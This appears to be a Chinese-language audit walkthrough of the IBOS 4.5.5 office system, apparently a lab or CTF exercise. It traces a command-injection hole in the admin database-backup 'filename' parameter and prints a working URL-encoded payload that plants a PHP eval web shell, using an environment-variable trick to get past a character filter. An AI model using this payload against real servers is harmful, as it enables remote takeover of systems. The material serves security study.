能够将字符串作为OS命令执行,自带输出功能。
将字符串作为OS命令执行,需要输出
将字符串作为OS命令执行,需要输出
能够将字符串作为OS命令执行,自带输出
将字符串作为OS命令执行,但是该函数返回一个文件指针。
反引号内的字符串也会被解析成OS命令。
本期主角:ibos(一款协同办公系统)
版本:4.5.5
安装完成之后:长得跟phpstudy“有点像”,就是在PHP study的基础上加了一套cms。
对该系统的源码进行审计。
发现其对重要代码进行了加密:
上传到在线解密网站看看使用的加密方法:
加密方式: zend|53。
知道了加密方式之后就可以对其进行解密。
Zend Guard是目前市面上最成熟的PHP源码加密产品,只要PHP加载了这个第三方加密插件,那么就可以直接运行加密后的源码。
这类加密会在开头写Zend.
解密之后的代码是不能直接替代原本文件运行的,所以解密后的代码仅仅是静态审计
解密之后全局搜索命令执行的函数,找到一处可疑的地方。
具体代码是这一块:
$config = @include (PATH_ROOT . "./system/config/config.php");
if (empty($config)) {
throw new Exception(application\core\utils\Ibos::Lang("Config not found", "error"));
}
else {
$db = $config["db"];
}
$query = $command->setText("SHOW VARIABLES LIKE 'basedir'")->queryRow();
$mysqlBase = $query["Value"];
$mysqlBin = ($mysqlBase == "/" ? "" : addslashes($mysqlBase) . "bin/");
shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);
shell_exec()函数:
shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);
我们需要找到我们可以控制的变量。
分析:
$mysqlBin是从数据库中查询出来的值;
$db经过追踪是从config.php文件中取得的关于数据库配置的值。
这两个变量都不是我们可以控制的。
那么还剩下一个$file是干什么的呢?
追踪restore方法没有找到一下成果
$file暂时在这里失去了线索。
但是,我们在全局搜索shell_exec()函数时出现了两次调用。
我们可以看看另一个文件里的shell_exec()函数。
shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");
这里出现了mysqldump,这是一个MySQL自带的备份工具。
命令格式
mysqldump [选项] 数据库名 [表名] > 脚本名
或mysqldump [选项] --数据库名 [选项 表名] > 脚本名
或mysqldump [选项] --all-databases [选项] > 脚本名
我们猜测这里可能后台提供的一个数据库备份功能。
后台是真的存在数据库备份功能的。
最后一个参数$dumpFile就是脚本名,就是最后导出的文件名。
我们可以控制的变量也就是它。
追溯一下它的来源:
$dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . “/” . $backupFileName . “.sql”;
$backupFileName = self::BACKUP_DIR . “/” . core\utils\str_replace(array("/", “\”, “.”, “’”), “”, $fileName);
$fileName = core\utils\Env::getRequest(“filename”);
最后可以判断,$dumpFile跟getRequest(“filename”)是有关的。
也就是说是跟请求里的参数有关的。
我们可以尝试抓个包试试看有没有filename参数:
在后台备份数据库这里抓包:
请求包里是可以看到filename参数的。
同时在服务器上生成了一个sql备份文件:
这里我们就可以思考开始利用shell_exec()在服务器上生成php文件了。
shell_exec()执行的是系统命令,可以利用管道符进行多条命令执行。
令filename参数等于:
111&echo "" >777.php&111
&管道符不管前面执行的成不成功,都会执行&后面的。
那么
shell_exec("前面是备份的语句:mysqldump ------------ > 111 & echo "" > 777.php")&111
但是前面$backupFileName中把filename中的/ \ .
替换为空了。
这里需要使用一个骚方法:切割环境变量来获取点。
set:查看环境变量
取PATHEXT变量里的值,从第0个位置开始,取1个值。结果就是点.
那么我们就可以这样写:
111&echo "" > 777%PATHEXT:~0,1%php&111
也就是最终的payload。
原数据包中是通过POST传参的,POST传参中&符号是连接多个参数,这里出现&符号是不行的。
我们把payload进行一次url编码:
111%26echo %22%3C%3Fphp eval(%24_REQUEST%5B8%5D)%3F%3E%22 %3E 777%25PATHEXT%3A%7E0%2C1%25php%26111
成功写入文件:
正常情况下POST中不接受url编码,但是可以接受url编码的POST传参也不在少数。如果这里不接受url编码,我们可以在POST请求中删除filename参数,然后将filename参数写到url中。
本地测试成功。
这是将filename参数写到了url中。
连接菜刀:
拿到flag。Security的值。